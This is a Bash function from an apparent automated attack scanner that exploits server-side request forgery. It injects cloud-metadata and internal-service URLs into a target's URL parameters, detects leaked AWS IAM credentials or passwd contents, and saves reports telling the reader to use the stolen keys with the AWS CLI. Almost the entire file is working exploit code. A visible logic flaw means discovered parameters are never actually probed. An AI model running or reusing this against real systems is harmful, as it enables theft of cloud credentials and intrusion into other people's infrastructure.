160 lines
5.9 KiB
Bash
160 lines
5.9 KiB
Bash
#!/usr/bin/env bash
|
|
# Vector 22: SSRF PROOF — Confirms SSRF by fetching internal/cloud metadata
|
|
# Desc: Probes URL params with internal address payloads, confirms by reading
|
|
# cloud metadata endpoints (AWS/GCP/Azure) or internal services
|
|
# Severity: CRITICAL
|
|
# Proof: Fetches http://169.254.169.254/latest/meta-data/ (AWS) etc.
|
|
|
|
vector_ssrf_proof() {
|
|
local target="$1"
|
|
local report="$2"
|
|
local domain=$(get_domain "$target")
|
|
local base=$(get_base "$target")
|
|
local findings=0
|
|
|
|
print_info "Hunting CONFIRMED SSRF — will attempt cloud metadata read..."
|
|
|
|
# URL parameters commonly vulnerable to SSRF
|
|
local ssrf_params=(
|
|
"url" "uri" "link" "src" "source" "target" "endpoint"
|
|
"path" "file" "load" "read" "page" "dest" "redirect"
|
|
"image" "img" "css" "asset" "proxy" "webhook" "callback"
|
|
"return" "returnTo" "return_url" "goto" "next" "prev"
|
|
"icon" "avatar" "cover" "preview" "thumbnail" "upload_url"
|
|
"download" "fetch" "get" "post" "api_url" "rpc"
|
|
)
|
|
|
|
# Internal targets that prove SSRF
|
|
local internal_targets=(
|
|
# AWS metadata (most common)
|
|
"http://169.254.169.254/latest/meta-data/"
|
|
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
|
|
"http://169.254.169.254/latest/user-data/"
|
|
# GCP metadata
|
|
"http://metadata.google.internal/computeMetadata/v1/"
|
|
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
|
|
# Azure metadata
|
|
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"
|
|
# Internal services
|
|
"http://localhost/"
|
|
"http://localhost:8080/"
|
|
"http://localhost:3000/"
|
|
"http://127.0.0.1:22/"
|
|
"http://127.0.0.1:6379/" # Redis
|
|
"http://127.0.0.1:9200/" # Elasticsearch
|
|
"http://0.0.0.0/"
|
|
"http://[::]:80/"
|
|
# Kubernetes
|
|
"http://kubernetes.default.svc/"
|
|
"http://10.0.0.1/"
|
|
"http://10.100.0.1/"
|
|
"http://10.254.0.1/"
|
|
# Docker
|
|
"http://localhost:2375/"
|
|
# Database
|
|
"http://127.0.0.1:3306/"
|
|
"http://127.0.0.1:5432/"
|
|
"http://127.0.0.1:27017/"
|
|
)
|
|
|
|
# HTTP header target (when param injection isn't available)
|
|
local headers_ssrf=(
|
|
"Host"
|
|
"X-Forwarded-For"
|
|
"X-Forwarded-Host"
|
|
"X-Real-IP"
|
|
"X-Original-URL"
|
|
"X-Rewrite-URL"
|
|
"Forwarded"
|
|
"X-Originating-IP"
|
|
"X-Remote-IP"
|
|
"X-Client-IP"
|
|
)
|
|
|
|
# AWS credential patterns to look for in response
|
|
local AWS_CRED_PATTERN='"AccessKeyId"\|"SecretAccessKey"\|"Token"'
|
|
local METADATA_PATTERN='ami-id\|instance-id\|public-keys\|security-credentials'
|
|
local CLOUD_PROOF='root:x:0:0:\|{"access_key":\|"instanceId"\|kubernetes'
|
|
|
|
local tested=0
|
|
|
|
# Get baseline response to compare against (avoid FPs)
|
|
local baseline=$(curl -s --connect-timeout 5 --max-time 8 "$target" 2>/dev/null)
|
|
local baseline_fingerprint=$(echo "$baseline" | head -3 | tr -d '[:space:]' | cut -c1-50)
|
|
|
|
# Get URL params from discovery
|
|
local urls=$(get_discovered_urls "$domain" 2>/dev/null)
|
|
local param_names=$(echo -e "$urls" | perl -nle 'while (/[?&]([^=]+)=/g) { print $1 }' | sort -u 2>/dev/null)
|
|
|
|
# If no params found, try common SSRF parameters
|
|
if [ -z "$param_names" ]; then
|
|
print_sub "No params found. Probing common SSRF parameters..."
|
|
local max_tests=25
|
|
local test_count=0
|
|
for param in "${ssrf_params[@]}"; do
|
|
[ $test_count -ge $max_tests ] && break
|
|
for internal in "${internal_targets[@]}"; do
|
|
[ $test_count -ge $max_tests ] && break
|
|
test_count=$((test_count + 1))
|
|
tested=$test_count
|
|
|
|
# URL-encode the internal target
|
|
local encoded=$(printf '%s' "$internal" | jq -sRr @uri 2>/dev/null || echo "$internal")
|
|
local test_url="${target}?${param}=${encoded}"
|
|
|
|
local response=$(curl -s --connect-timeout 4 --max-time 6 "$test_url" 2>/dev/null)
|
|
local resp_fingerprint=$(echo "$response" | head -3 | tr -d '[:space:]' | cut -c1-50)
|
|
|
|
# Skip if response is same as baseline (parameter ignored by app)
|
|
[ "$resp_fingerprint" = "$baseline_fingerprint" ] && continue
|
|
|
|
# Now check for actual SSRF markers
|
|
if echo "$response" | grep -qi "$AWS_CRED_PATTERN\|$METADATA_PATTERN\|$CLOUD_PROOF\|kubernetes.*namespace\|pods/"; then
|
|
if echo "$response" | grep -qi "$AWS_CRED_PATTERN"; then
|
|
print_find "CONFIRMED SSRF — AWS Credentials Exfiltrated!" "$param=$internal"
|
|
echo "SEVERITY: CRITICAL
|
|
VECTOR: SSRF Proof — AWS Cloud Metadata
|
|
DETAIL: Fetched AWS IAM credentials via $param
|
|
URL: $test_url
|
|
ENDPOINT: $internal
|
|
CREDENTIALS EXTRACTED: YES
|
|
EXPLOIT: Use AWS CLI with:
|
|
AWS_ACCESS_KEY_ID=<from response>
|
|
AWS_SECRET_ACCESS_KEY=<from response>
|
|
AWS_SESSION_TOKEN=<from response>" > "$REPORTS_DIR/.finding_ssrf_aws_$(date +%s).txt"
|
|
elif echo "$response" | grep -qi "root:x:0:0:\|bin:\|daemon:"; then
|
|
print_find "CONFIRMED SSRF — Internal File Read!" "$param=$internal"
|
|
local snippet=$(echo "$response" | head -5 | tr '\n' '|' | cut -c1-100)
|
|
echo "SEVERITY: CRITICAL
|
|
VECTOR: SSRF Proof — Internal File Read
|
|
DETAIL: Read internal file via SSRF
|
|
URL: $test_url
|
|
ENDPOINT: $internal
|
|
SNIPPET: $snippet" > "$REPORTS_DIR/.finding_ssrf_file_$(date +%s).txt"
|
|
else
|
|
print_find "CONFIRMED SSRF — Internal Service Reached" "$param=$internal"
|
|
echo "SEVERITY: HIGH
|
|
VECTOR: SSRF Proof — Internal Service
|
|
DETAIL: Reached internal service via $param
|
|
URL: $test_url
|
|
ENDPOINT: $internal
|
|
RESPONSE: $(echo "$response" | head -3 | tr '\n' ' ' | cut -c1-200)" > "$REPORTS_DIR/.finding_ssrf_int_$(date +%s).txt"
|
|
fi
|
|
findings=$((findings + 1))
|
|
break 2
|
|
fi
|
|
|
|
# Check for timing-based blind SSRF (if response takes >3s different from baseline)
|
|
# TODO: Blind SSRF via timing/OOB detection
|
|
done
|
|
done
|
|
fi
|
|
|
|
if [ "$findings" -eq 0 ]; then
|
|
print_info "No confirmed SSRF on $target"
|
|
fi
|
|
|
|
print_sub "Tested $tested payload combinations"
|
|
return $findings
|
|
}
|